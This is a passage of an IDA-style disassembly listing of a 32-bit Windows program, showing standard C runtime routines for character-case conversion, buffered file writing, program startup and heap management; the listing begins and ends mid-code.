		call	dword_437164	; RtlLeaveCriticalSection
		retn
sub_42C226	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C255	proc near		; CODE XREF: sub_42BEB8+33p
					; sub_42F33E+7Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_42C269
		add	eax, 1Ch
		push	eax
		call	sub_42DB50
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42C269:				; CODE XREF: sub_42C255+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	dword_437164	; RtlLeaveCriticalSection
		retn
sub_42C255	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C278	proc near		; CODE XREF: sub_41FE3F+15Dp
					; sub_429E59+12Bp

arg_0		= dword	ptr  4

		push	ebx
		xor	ebx, ebx
		cmp	dword_6769A8, ebx
		jnz	short loc_42C296
		mov	eax, [esp+4+arg_0]
		cmp	eax, 61h
		jl	short loc_42C2E5
		cmp	eax, 7Ah
		jg	short loc_42C2E5
		sub	eax, 20h
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42C296:				; CODE XREF: sub_42C278+9j
		push	esi
		mov	esi, offset dword_676EDC
		push	edi
		push	esi
		call	dword_437224	; InterlockedIncrement
		cmp	dword_676ED8, ebx
		mov	edi, dword_437220
		jz	short loc_42C2C0
		push	esi
		call	edi ; dword_437220
		push	13h
		call	sub_42DAEF
		pop	ecx
		push	1
		pop	ebx


loc_42C2C0:				; CODE XREF: sub_42C278+38j
		push	[esp+0Ch+arg_0]
		call	sub_42C2E7
		test	ebx, ebx
		pop	ecx
		mov	[esp+0Ch+arg_0], eax
		jz	short loc_42C2DC
		push	13h
		call	sub_42DB50
		pop	ecx
		jmp	short loc_42C2DF
; ---------------------------------------------------------------------------


loc_42C2DC:				; CODE XREF: sub_42C278+58j
		push	esi
		call	edi ; dword_437220


loc_42C2DF:				; CODE XREF: sub_42C278+62j
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		pop	esi


loc_42C2E5:				; CODE XREF: sub_42C278+12j
					; sub_42C278+17j
		pop	ebx
		retn
sub_42C278	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C2E7	proc near		; CODE XREF: sub_42C278+4Cp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_6769A8, 0
		push	ebx
		jnz	short loc_42C312
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_42C3B0
		cmp	eax, 7Ah
		jg	loc_42C3B0
		sub	eax, 20h
		jmp	loc_42C3B0
; ---------------------------------------------------------------------------


loc_42C312:				; CODE XREF: sub_42C2E7+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_42C345
		cmp	dword_4535C4, 1
		jle	short loc_42C332
		push	2
		push	ebx
		call	sub_42F12B
		pop	ecx
		pop	ecx
		jmp	short loc_42C33D
; ---------------------------------------------------------------------------


loc_42C332:				; CODE XREF: sub_42C2E7+3Dj
		mov	eax, off_4533B8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_42C33D:				; CODE XREF: sub_42C2E7+49j
		test	eax, eax
		jnz	short loc_42C345


loc_42C341:				; CODE XREF: sub_42C2E7+AFj
		mov	eax, ebx
		jmp	short loc_42C3B0
; ---------------------------------------------------------------------------


loc_42C345:				; CODE XREF: sub_42C2E7+34j
					; sub_42C2E7+58j
		mov	edx, off_4533B8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_42C368
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42C371
; ---------------------------------------------------------------------------


loc_42C368:				; CODE XREF: sub_42C2E7+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42C371:				; CODE XREF: sub_42C2E7+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_6769A8
		call	sub_430D9F
		add	esp, 20h
		test	eax, eax
		jz	short loc_42C341
		cmp	eax, 1
		jnz	short loc_42C3A3
		movzx	eax, [ebp+var_4]
		jmp	short loc_42C3B0
; ---------------------------------------------------------------------------


loc_42C3A3:				; CODE XREF: sub_42C2E7+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_42C3B0:				; CODE XREF: sub_42C2E7+14j
					; sub_42C2E7+1Dj ...
		pop	ebx
		leave
		retn
sub_42C2E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3B3	proc near		; CODE XREF: sub_42045F+536p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_C]
		call	sub_42C1D4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42C3E2
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_42C226
		add	esp, 18h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_42C3B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C3E2	proc near		; CODE XREF: sub_42C3B3+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_42C406
		xor	eax, eax
		jmp	loc_42C4D3
; ---------------------------------------------------------------------------


loc_42C406:				; CODE XREF: sub_42C3E2+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_42C419
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_42C420
; ---------------------------------------------------------------------------


loc_42C419:				; CODE XREF: sub_42C3E2+2Dj
		mov	[ebp+arg_C], 1000h


loc_42C420:				; CODE XREF: sub_42C3E2+35j
					; sub_42C3E2+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_42C454
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42C454
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_42C43A
		mov	edi, eax


loc_42C43A:				; CODE XREF: sub_42C3E2+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_429420
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_42C49A
; ---------------------------------------------------------------------------


loc_42C454:				; CODE XREF: sub_42C3E2+47j
					; sub_42C3E2+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_42C49F
		test	ecx, ecx
		jz	short loc_42C468
		push	esi
		call	sub_42F2D9
		test	eax, eax
		pop	ecx
		jnz	short loc_42C4E1


loc_42C468:				; CODE XREF: sub_42C3E2+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_42C47B
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_42C47D
; ---------------------------------------------------------------------------


loc_42C47B:				; CODE XREF: sub_42C3E2+8Aj
		mov	edi, ebx


loc_42C47D:				; CODE XREF: sub_42C3E2+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_43249C
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C4D8
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_42C4D8


loc_42C49A:				; CODE XREF: sub_42C3E2+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_42C4C8
; ---------------------------------------------------------------------------


loc_42C49F:				; CODE XREF: sub_42C3E2+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_42DB65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42C4E1
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_42C4C8
		mov	[ebp+arg_C], 1


loc_42C4C8:				; CODE XREF: sub_42C3E2+BBj
					; sub_42C3E2+DDj
		test	ebx, ebx
		jnz	loc_42C420
		mov	eax, [ebp+arg_8]


loc_42C4D3:				; CODE XREF: sub_42C3E2+1Fj
					; sub_42C3E2+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42C4D8:				; CODE XREF: sub_42C3E2+ADj
					; sub_42C3E2+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_42C4E3
; ---------------------------------------------------------------------------


loc_42C4E1:				; CODE XREF: sub_42C3E2+84j
					; sub_42C3E2+CFj
		mov	eax, edi


loc_42C4E3:				; CODE XREF: sub_42C3E2+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_42C4D3
sub_42C3E2	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42C4F0	proc near		; CODE XREF: sub_4225E4+17Fp
					; sub_42E5F5+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_42C509
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_42C509:				; CODE XREF: sub_42C4F0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_42C4F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C524	proc near		; CODE XREF: sub_426761+1AFp

arg_0		= dword	ptr  4

		cmp	dword_4535C4, 1
		jle	short loc_42C53B
		push	4
		push	[esp+4+arg_0]
		call	sub_42F12B
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42C53B:				; CODE XREF: sub_42C524+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4533B8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_42C524	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C54C	proc near		; CODE XREF: sub_42E5F5+76p
					; sub_42E5F5+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4535C4, 1
		jle	short loc_42C563
		push	8
		push	[esp+4+arg_0]
		call	sub_42F12B
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42C563:				; CODE XREF: sub_42C54C+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4533B8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_42C54C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4374C0
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	dword_437240	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_6769DC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_6769D8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_6769D4, ecx
		shr	eax, 10h
		mov	dword ptr byte_6769D0, eax
		push	1
		call	sub_42C855
		pop	ecx
		test	eax, eax
		jnz	short loc_42C5DF
		push	1Ch
		call	sub_42C6A1
		pop	ecx


loc_42C5DF:				; CODE XREF: .text:0042C5D5j
		call	sub_42E487
		test	eax, eax
		jnz	short loc_42C5F0
		push	10h
		call	sub_42C6A1
		pop	ecx


loc_42C5F0:				; CODE XREF: .text:0042C5E6j
		xor	esi, esi
		mov	[ebp-4], esi
		call	sub_42F6FC
		call	dword_43723C	; GetCommandLineA
		mov	dword_677008, eax
		call	sub_432F35
		mov	dword_676924, eax
		call	sub_432CE8
		call	sub_432C2F
		call	sub_430B07
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_437238	; GetStartupInfoA
		call	sub_432BD7
		mov	[ebp-64h], eax
		test	byte ptr [ebp-30h], 1
		jz	short loc_42C63F
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_42C642
; ---------------------------------------------------------------------------


loc_42C63F:				; CODE XREF: .text:0042C637j
		push	0Ah
		pop	eax


loc_42C642:				; CODE XREF: .text:0042C63Dj
		push	eax
		push	dword ptr [ebp-64h]
		push	esi
		push	esi
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	sub_418E0F
		mov	[ebp-60h], eax
		push	eax
		call	sub_430B34
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_430C27
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_430B45

; =============== S U B	R O U T	I N E =======================================



sub_42C67C	proc near		; CODE XREF: sub_42ABF8+3Cp
					; sub_42AC8B+19p ...

arg_0		= dword	ptr  4

		cmp	dword_67692C, 1
		jnz	short loc_42C68A
		call	sub_433067


loc_42C68A:				; CODE XREF: sub_42C67C+7j
		push	[esp+arg_0]
		call	sub_4330A0
		push	0FFh
		call	off_451140
		pop	ecx
		pop	ecx
		retn
sub_42C67C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C6A1	proc near		; CODE XREF: .text:0042C5D9p
					; .text:0042C5EAp

arg_0		= dword	ptr  4

		cmp	dword_67692C, 1
		jnz	short loc_42C6AF
		call	sub_433067


loc_42C6AF:				; CODE XREF: sub_42C6A1+7j
		push	[esp+arg_0]
		call	sub_4330A0
		pop	ecx
		push	0FFh
		call	dword_4370D4	; ExitProcess
		retn
sub_42C6A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C6C5	proc near		; CODE XREF: sub_4297CA+1Fp
					; sub_42B39A+10Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_676934
		test	eax, eax
		jz	short loc_42C6DD
		push	[esp+arg_0]
		call	eax ; dword_676934
		test	eax, eax
		pop	ecx
		jz	short loc_42C6DD
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42C6DD:				; CODE XREF: sub_42C6C5+7j
					; sub_42C6C5+12j
		xor	eax, eax
		retn
sub_42C6C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C6E0	proc near		; CODE XREF: sub_42C70D+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_437070	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_42C70B
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_42C70B
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_42C70B:				; CODE XREF: sub_42C6E0+15j
					; sub_42C6E0+1Cj
		pop	esi
		retn
sub_42C6E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C70D	proc near		; CODE XREF: sub_42C855+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_429B60
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_437050	; GetVersionExA
		test	eax, eax
		jz	short loc_42C750
		cmp	[ebp+var_88], 2
		jnz	short loc_42C750
		cmp	[ebp+var_94], 5
		jb	short loc_42C750
		push	1
		pop	eax
		jmp	loc_42C852
; ---------------------------------------------------------------------------


loc_42C750:				; CODE XREF: sub_42C70D+27j
					; sub_42C70D+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_437244	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_42C83F
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_42C792


loc_42C77F:				; CODE XREF: sub_42C70D+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_42C78D
		cmp	al, 7Ah
		jg	short loc_42C78D
		sub	al, 20h
		mov	[ecx], al


loc_42C78D:				; CODE XREF: sub_42C70D+76j
					; sub_42C70D+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_42C77F


loc_42C792:				; CODE XREF: sub_42C70D+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_42B940
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42C7B4
		lea	eax, [ebp+var_122C]
		jmp	short loc_42C7FD
; ---------------------------------------------------------------------------


loc_42C7B4:				; CODE XREF: sub_42C70D+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_43717C	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_42C7E8


loc_42C7D5:				; CODE XREF: sub_42C70D+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_42C7E3
		cmp	al, 7Ah
		jg	short loc_42C7E3
		sub	al, 20h
		mov	[ecx], al


loc_42C7E3:				; CODE XREF: sub_42C70D+CCj
					; sub_42C70D+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_42C7D5


loc_42C7E8:				; CODE XREF: sub_42C70D+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_42AEA0
		pop	ecx
		pop	ecx


loc_42C7FD:				; CODE XREF: sub_42C70D+A5j
		cmp	eax, ebx
		jz	short loc_42C83F
		push	2Ch
		push	eax
		call	sub_42B1A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_42C83F
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_42C824


loc_42C816:				; CODE XREF: sub_42C70D+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_42C81F
		mov	[ecx], bl
		jmp	short loc_42C820
; ---------------------------------------------------------------------------


loc_42C81F:				; CODE XREF: sub_42C70D+10Cj
		inc	ecx


loc_42C820:				; CODE XREF: sub_42C70D+110j
		cmp	[ecx], bl
		jnz	short loc_42C816


loc_42C824:				; CODE XREF: sub_42C70D+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_429E42
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_42C852
		cmp	eax, 3
		jz	short loc_42C852
		cmp	eax, 1
		jz	short loc_42C852


loc_42C83F:				; CODE XREF: sub_42C70D+5Cj
					; sub_42C70D+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42C6E0
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_42C852:				; CODE XREF: sub_42C70D+3Ej
					; sub_42C70D+126j ...
		pop	ebx
		leave
		retn
sub_42C70D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C855	proc near		; CODE XREF: .text:0042C5CDp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4371F8	; HeapCreate
		test	eax, eax
		mov	dword_677000, eax
		jz	short loc_42C8AB
		call	sub_42C70D
		cmp	eax, 3
		mov	dword_677004, eax
		jnz	short loc_42C891
		push	3F8h
		call	sub_42C8B2
		pop	ecx
		jmp	short loc_42C89B
; ---------------------------------------------------------------------------


loc_42C891:				; CODE XREF: sub_42C855+2Dj
		cmp	eax, 2
		jnz	short loc_42C8AE
		call	sub_42D3F9


loc_42C89B:				; CODE XREF: sub_42C855+3Aj
		test	eax, eax
		jnz	short loc_42C8AE
		push	dword_677000
		call	dword_4371FC	; HeapDestroy


loc_42C8AB:				; CODE XREF: sub_42C855+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42C8AE:				; CODE XREF: sub_42C855+3Fj
					; sub_42C855+48j
		push	1
		pop	eax
		retn
sub_42C855	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C8B2	proc near		; CODE XREF: sub_42C855+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_677000
		call	dword_437210	; RtlAllocateHeap
		test	eax, eax
		mov	dword_676FF8, eax
		jnz	short loc_42C8CF
		retn
; ---------------------------------------------------------------------------


loc_42C8CF:				; CODE XREF: sub_42C8B2+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_676FF0, 0
		and	dword_676FF4, 0
		push	1
		mov	dword_676FEC, eax
		mov	dword_676FFC, ecx
		mov	dword_676FE4, 10h
		pop	eax
		retn
sub_42C8B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42C8FA	proc near		; CODE XREF: sub_4298F2+45p
					; sub_431C83+73p ...

arg_0		= dword	ptr  4

		mov	eax, dword_676FF4
		lea	ecx, [eax+eax*4]
		mov	eax, dword_676FF8
		lea	ecx, [eax+ecx*4]


loc_42C90A:				; CODE XREF: sub_42C8FA+26j
		cmp	eax, ecx
		jnb	short loc_42C922
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_42C924
		add	eax, 14h
		jmp	short loc_42C90A
; ---------------------------------------------------------------------------


loc_42C922:				; CODE XREF: sub_42C8FA+12j
		xor	eax, eax

locret_42C924:				; CODE XREF: sub_42C8FA+21j
		retn
sub_42C8FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C925	proc near		; CODE XREF: sub_4298F2+54p
					; sub_431C83+D0p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_42CC49
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_42C9FB
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_42C989
		push	3Fh
		pop	edx


loc_42C989:				; CODE XREF: sub_42C925+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_42C9DD
		cmp	edx, 20h
		jnb	short loc_42C9B4
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42C9D5
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_42C9D5
; ---------------------------------------------------------------------------


loc_42C9B4:				; CODE XREF: sub_42C925+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42C9D5
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_42C9D5:				; CODE XREF: sub_42C925+86j
					; sub_42C925+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_42C9E0
; ---------------------------------------------------------------------------


loc_42C9DD:				; CODE XREF: sub_42C925+6Aj
		mov	ecx, [ebp+var_4]


loc_42C9E0:				; CODE XREF: sub_42C925+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_42C9FB:				; CODE XREF: sub_42C925+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_42CA09
		push	3Fh
		pop	edx


loc_42CA09:				; CODE XREF: sub_42C925+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_42CAAC
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_42CA2E
		mov	ebx, esi


loc_42CA2E:				; CODE XREF: sub_42C925+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_42CA40
		mov	edx, esi


loc_42CA40:				; CODE XREF: sub_42C925+117j
		cmp	ebx, edx
		jz	short loc_42CAA7
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_42CA8F
		cmp	ebx, 20h
		jnb	short loc_42CA70
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_42CA8F
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_42CA8F
; ---------------------------------------------------------------------------


loc_42CA70:				; CODE XREF: sub_42C925+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_42CA8F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_42CA8F:				; CODE XREF: sub_42C925+128j
					; sub_42C925+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_42CAA7:				; CODE XREF: sub_42C925+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_42CAAF
; ---------------------------------------------------------------------------


loc_42CAAC:				; CODE XREF: sub_42C925+EDj
		mov	ebx, [ebp+arg_0]


loc_42CAAF:				; CODE XREF: sub_42C925+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_42CABD
		cmp	ebx, edx
		jz	loc_42CB3E


loc_42CABD:				; CODE XREF: sub_42C925+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_42CB3E
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_42CB15
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_42CB04
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_42CB04:				; CODE XREF: sub_42C925+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_42CB3E
; ---------------------------------------------------------------------------


loc_42CB15:				; CODE XREF: sub_42C925+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_42CB2B
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_42CB2B:				; CODE XREF: sub_42C925+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_42CB3E:				; CODE XREF: sub_42C925+192j
